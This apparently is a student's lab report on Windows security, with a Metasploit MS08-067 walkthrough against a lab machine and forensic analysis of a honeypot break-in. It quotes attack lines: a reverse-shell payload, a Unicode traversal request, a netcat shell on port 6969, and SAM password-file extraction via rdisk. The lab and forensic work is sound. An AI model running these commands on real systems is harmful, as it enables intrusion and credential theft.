1.实践内容

1.1Windows操作系统基本框架概述

Windows操作系统的基本结构
• Windows操作系统的基本结构分为运行于处理器特权模式(ring 0)的操作系统内核,以及运行在处理器非特权模式(ring 3)的用户空间代码。
• Windows操作系统内核的基本模块包括:Windows执行体、Windows内核体、设备驱动程序、硬件抽象层、Windows窗口与图形界面接口内核实现代码。
• Windows操作系统在用户代码的代码模块包括:系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL。
• Windows操作系统内核实现的核心机制:Windows进程和线程管理机制、Windows内存管理机制、Windows文件管理机制、Windows注册表管理机制、Windows的网络机制。

1.2Windows操作系统的安全体系结构与机制

1.2.1Windows安全体系结构
• Windows操作系统是基于引用监控器模型来实现基本的对象安全模型(图:引用监控器模型)

• 最为核心的是位于内核中的SRM安全引用监控器,以及位于用户态的LSASS安全服务,它们与Winlogon/Netlogon及Eventlog等服务一起,实现了对主体用户的身份认证机制、对所有资源对象的访问控制机制,以及对访问的安全审计机制。(图:Windows系统安全体系结构示意图)

1.2.2Windows身份认证机制
• Windows支持本地身份认证和网络身份认证两种方式,分别对在本地系统登录和远程网络访问的主体进行合法性验证。
• 原理:GINA提取用户的口令信息,由Winlogon移送给LSASS服务,利用LSASS提供的身份验证服务来进行用户身份的真实性确认,对通过验证的用户许可其登录系统并获得用户账户执行权限。网络身份认证过程由LSASS服务的Netlogon模块主导完成,Windows客户端访问远程的Windows网络服务器资源时,客户端服务的Netlogon模块会与服务器端的Netlogon进行基于“质询-应答式”的身份验证协议过程,以验证客户端的用户身份。(图:Windows身份认证机制实现原理)

1.2.3Windows授权与访问控制机制
• Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。
• whoami:查看当前用户的访问令牌信息
• 对象安全描述符由如下属性组成:
Owner SID:对象所有者的SID安全标识符
Group SID:对象所在基本用户组的SID安全标识符
DACL自主访问控制列表:指明了哪些安全主体可以何种方式来访问该对象
SACL系统审计访问控制列表:指明了由哪些主体发起的哪些访问操作需要被审计
1.2.4Windows安全审计机制
• LSASS服务将保存审计策略,并在对象启动审计功能后,在对象安全描述符中的SACL列表中进行保存;
• SRM安全引用监控器在进行对象访问授权时,也将依据对象的SACL列表配置,对指定的对象访问和操作事件进行审计记录,发送给LSASS服务;
• 由LSASS服务补充审计记录细节信息后,再将这些审计记录发送给EventLog事件日志服务;
• EventLog服务最后将事件日志写入日志文件中,并通过事件查看器工具展示给系统管理员,也可以作为第三方审计日志分析工具的分析输入数据源。
1.3Windows远程安全防控技术
• Windows远程攻击技术分为:远程口令猜测与破解攻击、攻击Windows网络服务、攻击Windows客户端及用户
• 使用Metasploit软件实施渗透测试

• 网络服务远程渗透攻击防范措施
最基本的就是尽量避免与消除这些渗透攻击所依赖的服务软件安全漏洞,具体包括:
o 从软件设计开发根源上尽可能减少安全漏洞出现,对被发现的漏洞,尽快提供修补的安全补丁
o 作为系统的使用者和管理者,尽可能快的更新与应用软件安全补丁。对第三方软件,尽可能选择具备自动版本更新功能的服务软件。
o 在“零日”漏洞时间,管理员对安全敏感的服务器测试和实施可用的攻击缓解配置。
o 利用服务软件厂商及社区中提供的安全核对清单来对服务进行安全配置,并利用一些安全增强插件,来加固所部署的网络服务。
o 建立有效的事件应急响应计划
1.4Windows本地安全攻防技术
1.4.1Windows本地特权提升
• Windows系统上进行提权提升的攻击途径主要是通过DLL注入和破解本地程序安全漏洞
• 针对本地提权攻击,最根本的防护措施是及时给系统打好各种补丁
1.4.2Windows敏感信息窃取
• 在本地获取口令字密文的主要包括:
o 从另一操作系统启动后拷贝文件系统中的口令密文文件,远程攻击无法实现。
o 利用硬盘修复工具包中的rdisk工具,执行“rdisk /s-”命令创建SAM备份文件副本。
o 使用pwdumpX系列工具直接从SAM文件或活动目录中提取口令字密文。
• 本地敏感信息窃取防范措施:通过使用更安全的加密算法保护明文口令字,以及通过安全配置策略避免缓存关键服务器的敏感登录口令信息,来尽量减低这种攻击造成的安全风险。
1.4.3Windows消踪灭迹
• 关闭审计功能、清理事件日志
• 防范措施:事先配置好系统审计与网络服务审计功能;或通过网络传输到安全的日志服务器中,也可以采用定期备份的方式进行固化保全。
1.4.4Windows远程控制与后门程序
• 自主植入第三方的远程控制与后门程序:命令行远程控制工具、图形化远程控制工具
• 防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序,常用的检测软件包括反病毒厂商所提供的杀毒软件,以及一些专业的后门及Rootkit检测软件。

2.实践内容

(1)动手实践Metasploit windows attacker
• 任务:使用metasploit软件进行windows远程渗透统计实验
• 具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
输入命令行msfconsole进入启动msfconsole

输入命令search ms08_067查看漏洞ms08_067详细信息

输入命令行 use windows/smb/ms08_067_netapi进入漏洞所在文件

输入命令行 show options查看攻击此漏洞需要的设置

输入命令行show payloads显示此漏洞的载荷

选择第三个载荷进行攻击
输入命令行 set payload generic/shell_reverse_tcp设置载荷
输入show options,显示出需要设置的数据

输入命令行 set RHOST 192.168.200.124设置要攻击主机
输入命令行set LHOST 192.168.200.4设置本机
输入show options,再次查看payload状态

输入命令行exploit/run进行攻击,出现会话连接即攻击成功, 渗透攻击成功后,进入win靶机cmd页面,输入ipconfig查看靶机ip,表示攻击成功

(2)取证分析实践:解码一次成功的NT系统破解攻击。

来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。

来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名lab.wiretrip.net),这是一次非常典型的针对NT系统的攻击,而且我们有理由相信攻击者最终识别了蜜罐主机。
1.攻击者使用了什么破解工具进行攻击?
用Wireshark打开snort-0204@0117.log文件,发现日志文件由可识别的HTTP协议内容、可识别的SQL语言代码内容、可识别的系统操作代码内容、不可识别的数据(二进制数据)组成

使用wireshark打开需要待分析的log文件,使用规则ip.addr==172.16.1.106 and http过滤数据,
由攻击机IP地址为213.116.251.162,靶机IP地址为172.16.1.106,输入ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106进行筛选,在第117行出现GET /guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini HTTP/1.1\r\n,其中%C0%AF是“/”的Unicode编码,表示进行Unicode攻击打开了NT系统的启动文件boot.ini

在130行和140行,攻击者探测msadc/msadcs.dll存在RDS漏洞,149行表示进行SQL注入攻击,执行shell脚本数据为shell ( “cmd /c echo werd >> c : \ f u n ” ),根据ADM!ROX!YOUR!WORLD特征字符串,表明是msadc(2).pl工具发起的渗透攻击

综上:攻击者利用了Unicode和msadcs(2).pl工具进行攻击
2.攻击者如何使用这个破解工具进入并控制了系统?
在Wireshark中输入ip.src == 213.116.251.162 && ip.dst == 172.16.1.106 && http.request.method == "POST"进行过滤,在 179 号数据包追踪TCP流,可以看到如下指令,攻击者创建了一个ftpcom 脚本:cmd /c echo user johna2k > ftpcom

在 299 号数据包追踪 TCP 流,发现攻击者试图连接至 FTP 服务器 204.42.253.18,但未成功;在1106 号数据包,FTP 连接成功

继续查看到 1224 号数据包,看到攻击者执行了:cmd1.exe /c nc -l -p 6969 -e cmd1.exe,表示攻击者连接了 6969 端口,并且获得了访问权限。

3.攻击者获得系统访问权限后做了什么
筛选 tcp.port == 6969,并追踪 TCP 流

可以看到攻击者尝试进入但失败,接着列出了用户

然后发了一个 echo 消息到 C 盘根目录文件 README.NOW.Hax0r,然后删除了许多文件

使用 rdisk 尝试获得 SAM 口令文件(安全账号管理器),rdisk 是磁盘修复程序,执行 rdisk /s- 备份关键系统信息,在 /repair 目录中就会创建一个名为 sam._ 的 SAM 压缩拷贝,并且攻击者把这个文件拷贝到 har.txt 并打印,然后离开



4.我们如何防止这样的攻击
升级系统到最新的稳定版本并且要及时更新微软官方的漏洞补丁,也可以安装相应的杀毒软件。
5.你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
在 4351 号数据包,攻击者留下记录,因此攻击者应该是警觉了目标为一台蜜罐主机

(3)团队对抗实践:windows系统远程渗透攻击和分析。

攻方使用Metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)

防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息

攻击方IP:192.168.31.117 ,防守方IP:192.168.31.151 (20212930肖敬斐)

重复任务1的步骤,作为攻击方时只需要把目标主机IP改为对方的IP(在一个局域网下),作为防御方需要在攻击方exploit之前开启wireshark捕捉

攻击方:使用MS08-067漏洞,攻击2930肖敬斐的主机,IP是192.168.31.151,并且创建了chenhengbo的文件,攻击成功。

防御方:可以看到捕捉到了被攻击的过程,源地址是192.168.31.117,目标地址是192.168.31.151,目标端口是445,攻击从ARP协议的询问开始,攻击机向靶机发了许多SMB数据包。攻击利用的漏洞有:针对SMB网络服务的漏洞、DCERPC解析器拒绝服务漏洞、SPOOLSS打印服务假冒漏洞。

3.学习中遇到的问题及解决:

问题1:任务三中一开始不能成功攻击。解决:关掉防火墙等相关设置。
问题2: win2K 一直有一个问题就是就算改成桥接模式,仍然不能连接网络。解决:网络TCP/IP地址需要改成自动获得IP地址。

4.学习感想和体会

这次实验取证分析比较繁杂,需要耐心查找。在以后的学习生活中要加强练习

Posted on 2022-04-22 21:55  20212939-陈恒勃  阅读(64)  评论(0编辑  收藏  举报